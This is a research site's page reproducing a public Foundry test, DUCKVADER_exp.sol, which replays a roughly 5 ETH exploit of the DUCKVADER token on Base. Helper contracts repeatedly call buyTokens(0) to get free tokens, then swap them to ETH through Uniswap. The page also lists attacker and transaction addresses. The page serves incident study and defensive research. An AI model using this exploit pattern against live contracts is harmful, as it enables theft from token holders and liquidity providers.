Public reproduction file
src/test/2025-03/DUCKVADER_exp.sol
Public reproduction file for dataset entry DUCKVADER.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : ~ 5 ETH8// Attacker : https://basescan.org/address/0x2383a550e40a61b41a89da6b91d8a4a2452270d09// Attack Contract : https://basescan.org/address/0x652f9ac437a870ce273a0be9d7e7ee03043a91ff10// Vulnerable Contract : https://basescan.org/address/0xaa8f35183478b8eced5619521ac3eb3886e98c5611// Attack Tx : https://basescan.org/tx/0x9bb1401233bb9172ede2c3bfb924d5d406961e6c63dee1b11d5f3f79f558cae413// @Info14// Vulnerable Contract Code : https://basescan.org/address/0xaa8f35183478b8eced5619521ac3eb3886e98c56#code16// @Analysis17// Post-mortem : N/A18// Twitter Guy : https://x.com/TenArmorAlert/status/189937809605620141419// Hacking God : N/A21address constant DUCKVADER = 0xaa8f35183478B8EcEd5619521Ac3Eb3886E98c56;22address constant wETH = 0x4200000000000000000000000000000000000006;23address constant UNISWAP_ROUTER = 0x4752ba5DBc23f44D87826276BF6Fd6b1C372aD24;25contract DUCKVADER_exp is BaseTestWithBalanceLog {26 uint256 blocknumToForkFrom = 27_445_835 - 1;28 function setUp() public {29 vm.createSelectFork("base", blocknumToForkFrom);30 vm.label(DUCKVADER, "DUCKVADER");31 vm.label(UNISWAP_ROUTER, "Uniswap: V2 Router02");32 }34 function testExploit() public balanceLog {35 AttackContract attackContract = new AttackContract();36 attackContract.attack();37 }39 receive() external payable {40 // This contract is used to receive ETH from the attack contract41 }42}44contract AttackContract {45 address attacker;47 constructor() {48 attacker = msg.sender;49 }51 function attack() external {52 // Call multiple times to get more tokens53 uint256 times = 10; //200;54 for (uint256 i = 0; i < times; i++) {55 AttackContract2 attackContract2 = new AttackContract2();56 attackContract2.buy();57 }58 IDUCKVADER(DUCKVADER).buyTokens(0);59 IDUCKVADER(DUCKVADER).approve(UNISWAP_ROUTER, type(uint256).max);60 uint256 balance = IDUCKVADER(DUCKVADER).balanceOf(address(this));61 // console.log(balance);62 address[] memory path = new address[](2);63 path[0] = address(DUCKVADER);64 path[1] = address(wETH);65 IRouter(payable(UNISWAP_ROUTER)).swapExactTokensForETHSupportingFeeOnTransferTokens(66 balance, 0, path, attacker, block.timestamp + 1067 );68 }69}71contract AttackContract2 {72 function buy() external {73 IDUCKVADER(DUCKVADER).buyTokens(0);74 uint256 balance = IDUCKVADER(DUCKVADER).balanceOf(address(this));75 IDUCKVADER(DUCKVADER).transfer(msg.sender, balance);76 }77}79interface IDUCKVADER is IERC20 {80 function buyTokens(uint256 usdtAmount) external payable;81}Analysis
Dataset entry
Public Foundry test for “DUCKVADER” (2025-03-11). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
18 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-03/Alkimiya_io_exp.solSame month in the dataset · 145 lines
- src/test/2025-03/BBXToken_exp.solSame month in the dataset · 128 lines
- src/test/2025-03/DCFToken_exp.solSame month in the dataset · 184 lines
- src/test/2025-03/H2O_exp.solSame month in the dataset · 163 lines
- src/test/2025-03/LeverageSIR_exp.solSame month in the dataset · 258 lines
- src/test/2025-03/PTM_exp.solSame month in the dataset · 103 lines
- src/test/2025-03/Pump_exp.solSame month in the dataset · 130 lines
- src/test/2025-03/RnsPay_exp.solSame month in the dataset · 157 lines
- src/test/2025-03/SBRToken_exp.solSame month in the dataset · 80 lines
- src/test/2025-03/StackMarket_exp.solSame month in the dataset · 136 lines
- src/test/2025-03/UNI_exp.solSame month in the dataset · 111 lines
- src/test/2025-03/unverified_3f27_exp.solSame month in the dataset · 112 lines
- src/test/2025-03/unverified_de7c_exp.solSame month in the dataset · 129 lines
- src/test/2025-03/wKeyDAO_exp.solSame month in the dataset · 160 lines
- src/test/2025-03/YziAIToken_exp.solSame month in the dataset · 69 lines
- src/test/2025-03/ZeroExSettler_exp.solSame month in the dataset · 110 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x2383a550e40a61b41a89da6b91d8a4a2452270d0
- Attack Contract
0x652f9ac437a870ce273a0be9d7e7ee03043a91ff
- Vulnerable Contract
0xaa8f35183478b8eced5619521ac3eb3886e98c56
- Attack Tx
0x9bb1401233bb9172ede2c3bfb924d5d406961e6c63dee1b11d5f3f79f558cae4
- Twitter: https://x.com/TenArmorAlert/status/1899378096056201414
- Explorer: https://basescan.org/address/0x2383a550e40a61b41a89da6b91d8a4a2452270d0
- Explorer: https://basescan.org/address/0x652f9ac437a870ce273a0be9d7e7ee03043a91ff
- Explorer: https://basescan.org/address/0xaa8f35183478b8eced5619521ac3eb3886e98c56
- Explorer: https://basescan.org/address/0xaa8f35183478b8eced5619521ac3eb3886e98c56#code
File record
- Name
- DUCKVADER
- Path
- src/test/2025-03/DUCKVADER_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 55775c63428ab5aa15facf5341585f900e4303bd
- Language
- Solidity
- Size
- 82 lines
- Date
- 2025-03-11
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-03/DUCKVADER_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 55775c63428ab5aa15facf5341585f900e4303bd, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.